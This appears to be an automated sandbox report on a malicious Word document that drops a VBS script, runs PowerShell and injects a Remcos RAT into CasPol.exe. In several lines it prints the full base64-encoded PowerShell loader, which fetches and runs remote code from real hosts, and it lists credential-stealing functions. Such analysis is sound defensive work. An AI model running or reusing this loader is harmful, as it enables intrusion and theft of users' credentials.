                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0040E54F Sleep,ExitProcess,8_2_0040E54F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,8_2_004198C2
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 994Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8885Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: threadDelayed 9411Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: foregroundWindowGot 1581Jump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3352Thread sleep time: -300000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3628Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3640Thread sleep time: -7378697629483816s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3640Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3640Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3772Thread sleep count: 313 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3772Thread sleep time: -156500s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3776Thread sleep count: 34 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3776Thread sleep time: -102000s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3776Thread sleep count: 9411 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3776Thread sleep time: -28233000s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,8_2_0040B335
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,8_2_0041B42F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,8_2_0040B53A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0044D5E9 FindFirstFileExA,8_2_0044D5E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,8_2_004089A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00406AC2 FindFirstFileW,FindNextFileW,8_2_00406AC2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,8_2_00407A8C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,8_2_00418C69
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,8_2_00408DA7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,8_2_00406F06
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeAPI call chain: ExitProcess graph end nodegraph_8-48195
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_0043A65D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041BCE3
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0356072D mov edx, dword ptr fs:[00000030h]2_2_0356072D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00442554 mov eax, dword ptr fs:[00000030h]8_2_00442554
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0044E92E GetProcessHeap,8_2_0044E92E
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00433CD7 SetUnhandledExceptionFilter,8_2_00433CD7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00434168 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_00434168
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_0043A65D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00433B44 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_00433B44

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Injects a PE file into a foreign processes
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5AJump to behavior
                Writes to foreign memory regions
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 457000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 470000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 476000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47B000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 7EFDE008Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe8_2_00410F36
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00418754 mouse_event,8_2_00418754
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodesJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $dialoguer = 'jgnvbxbhy3rpb24gpsanahr0chm6ly9yzxmuy2xvdwrpbmfyes5jb20vzhl0zmx0njful2ltywdll3vwbg9hzc92mtczmzezndk0ny9ia2xwexnlewv1ddrpbxb3ntbums5qcgcgjzskzgv0b3hpy2f0zxmgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyr0ag9szwlpdgugpsakzgv0b3hpy2f0zxmurg93bmxvywreyxrhkcrjb21wywn0aw9uktskzmxvb3jib2fyzca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkcr0ag9szwlpdgupoyrwyxnzywdld2f5id0gjzw8qkftrty0x1nuqvjupj4noyrjag9szxjhawmgpsanpdxcqvnfnjrfru5epj4noyrlehb1cmdhdgvzid0gjgzsb29yym9hcmqusw5kzxhpzigkcgfzc2fnzxdhesk7jhnpy2npbmcgpsakzmxvb3jib2fyzc5jbmrlee9mkcrjag9szxjhawmpoyrlehb1cmdhdgvzic1nzsawic1hbmqgjhnpy2npbmcglwd0icrlehb1cmdhdgvzoyrlehb1cmdhdgvzics9icrwyxnzywdld2f5lkxlbmd0adskywxiaw5vdgljid0gjhnpy2npbmcglsakzxhwdxjnyxrlczskc2vlzgnha2ugpsakzmxvb3jib2fyzc5tdwjzdhjpbmcojgv4chvyz2f0zxmsicrhbgjpbm90awmpoyrmcmvha2luzya9ic1qb2luicgkc2vlzgnha2uuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojhnlzwrjywtllkxlbmd0acldoyrncmvldgvkid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkznjlywtpbmcpoyrjagluzxmgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrncmvldgvkktskcgludgfpbca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoj1zbsscpoyrwaw50ywlslkludm9rzsgkbnvsbcwgqcgndhh0lljswk1ilzq1ni85mtiumtyxljywms43oc8vonb0dggnlcanjgnhbw9tawxljywgjyrjyw1vbwlszscsiccky2ftb21pbgunlcanq2fzug9sjywgjyrjyw1vbwlszscsiccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccxjywnjgnhbw9tawxljykpow==';$crunodes = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($dialoguer));invoke-expression $crunodes
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $dialoguer = 'jgnvbxbhy3rpb24gpsanahr0chm6ly9yzxmuy2xvdwrpbmfyes5jb20vzhl0zmx0njful2ltywdll3vwbg9hzc92mtczmzezndk0ny9ia2xwexnlewv1ddrpbxb3ntbums5qcgcgjzskzgv0b3hpy2f0zxmgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyr0ag9szwlpdgugpsakzgv0b3hpy2f0zxmurg93bmxvywreyxrhkcrjb21wywn0aw9uktskzmxvb3jib2fyzca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkcr0ag9szwlpdgupoyrwyxnzywdld2f5id0gjzw8qkftrty0x1nuqvjupj4noyrjag9szxjhawmgpsanpdxcqvnfnjrfru5epj4noyrlehb1cmdhdgvzid0gjgzsb29yym9hcmqusw5kzxhpzigkcgfzc2fnzxdhesk7jhnpy2npbmcgpsakzmxvb3jib2fyzc5jbmrlee9mkcrjag9szxjhawmpoyrlehb1cmdhdgvzic1nzsawic1hbmqgjhnpy2npbmcglwd0icrlehb1cmdhdgvzoyrlehb1cmdhdgvzics9icrwyxnzywdld2f5lkxlbmd0adskywxiaw5vdgljid0gjhnpy2npbmcglsakzxhwdxjnyxrlczskc2vlzgnha2ugpsakzmxvb3jib2fyzc5tdwjzdhjpbmcojgv4chvyz2f0zxmsicrhbgjpbm90awmpoyrmcmvha2luzya9ic1qb2luicgkc2vlzgnha2uuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojhnlzwrjywtllkxlbmd0acldoyrncmvldgvkid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkznjlywtpbmcpoyrjagluzxmgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrncmvldgvkktskcgludgfpbca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoj1zbsscpoyrwaw50ywlslkludm9rzsgkbnvsbcwgqcgndhh0lljswk1ilzq1ni85mtiumtyxljywms43oc8vonb0dggnlcanjgnhbw9tawxljywgjyrjyw1vbwlszscsiccky2ftb21pbgunlcanq2fzug9sjywgjyrjyw1vbwlszscsiccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccky2ftb21pbgunlccxjywnjgnhbw9tawxljykpow==';$crunodes = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($dialoguer));invoke-expression $crunodesJump to behavior
                Source: CasPol.exe, 00000008.00000002.887359657.00000000005FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerat
                Source: CasPol.exe, 00000008.00000002.887359657.00000000005FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerChromeode] - Microsoft Word|]OU
                Source: CasPol.exe, 00000008.00000002.887359657.00000000005FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [Program Manager]
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00433E0A cpuid 8_2_00433E0A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,8_2_004470AE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,8_2_004510BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,8_2_004511E3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,8_2_004512EA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,8_2_004513B7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,8_2_00447597
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoA,8_2_0040E679
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: IsValidCodePage,GetLocaleInfoW,8_2_00450A7F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,8_2_00450CF7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,8_2_00450D42
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,8_2_00450DDD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,8_2_00450E6A
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00447601 GetSystemTimeAsFileTime,8_2_00447601
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041A7A2 GetUserNameW,8_2_0041A7A2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0044800F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,8_2_0044800F
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTR
                Contains functionality to steal Chrome passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data8_2_0040B21B
                Contains functionality to steal Firefox passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\8_2_0040B335
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \key3.db8_2_0040B335

                Remote Access Functionality

                barindex
                Detected Remcos RAT
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-Q9T2QDJump to behavior
                Yara detected Remcos RAT
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTR
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: cmd.exe8_2_00405042

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information211
                Scripting                		Valid Accounts1
                Native API                		211
                Scripting                		1
                DLL Side-Loading                		1
                Deobfuscate/Decode Files or Information                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services11
                Archive Collected Data                		23
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts43
                Exploitation for Client Execution                		1
                DLL Side-Loading                		1
                Bypass User Account Control                		2
                Obfuscated Files or Information                		211
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol211
                Input Capture                		21
                Encrypted Channel                		Exfiltration Over Bluetooth1
                Defacement
                Email AddressesDNS ServerDomain Accounts21
                Command and Scripting Interpreter                		1
                Windows Service                		1
                Access Token Manipulation                		1
                Install Root Certificate                		2
                Credentials In Files                		1
                System Service Discovery                		SMB/Windows Admin Shares3
                Clipboard Data                		1
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal Accounts2
                Service Execution                		Login Hook1
                Windows Service                		1
                DLL Side-Loading                		NTDS3
                File and Directory Discovery                		Distributed Component Object ModelInput Capture1
                Remote Access Software                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud Accounts2
                PowerShell                		Network Logon Script222
                Process Injection                		1
                Bypass User Account Control                		LSA Secrets34
                System Information Discovery                		SSHKeylogging2
                Non-Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Masquerading                		Cached Domain Credentials2
                Security Software Discovery                		VNCGUI Input Capture113
                Application Layer Protocol                		Data Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                Modify Registry                		DCSync21
                Virtualization/Sandbox Evasion                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Virtualization/Sandbox Evasion                		Proc Filesystem3
                Process Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                Access Token Manipulation                		/etc/passwd and /etc/shadow1
                Application Window Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron222
                Process Injection                		Network Sniffing1
                System Owner/User Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
                Remote System Discovery                		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 signatures2 2 Behavior Graph ID: 1570644 Sample: atthings.doc Startdate: 07/12/2024 Architecture: WINDOWS Score: 100 50 Suricata IDS alerts for network traffic 2->50 52 Found malware configuration 2->52 54 Malicious sample detected (through community Yara rule) 2->54 56 21 other signatures 2->56 9 WINWORD.EXE 336 17 2->9         started        process3 file4 28 C:\Users\user\Desktop\atthings.doc (copy), Rich 9->28 dropped 30 ~WRF{189D8A76-D158...4-095DEA834189}.tmp, Composite 9->30 dropped 12 EQNEDT32.EXE 12 9->12         started        process5 dnsIp6 40 87.106.161.219, 49161, 49163, 80 ONEANDONE-ASBrauerstrasse48DE Germany 12->40 32 givemebestthingswi...tierymatterofgo.vbS, Unicode 12->32 dropped 72 Office equation editor establishes network connection 12->72 74 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->74 17 wscript.exe 1 12->17         started        file7 signatures8 process9 signatures10 42 Suspicious powershell command line found 17->42 44 Wscript starts Powershell (via cmd or directly) 17->44 46 Windows Scripting host queries suspicious COM object (likely to drop second stage) 17->46 48 Suspicious execution chain found 17->48 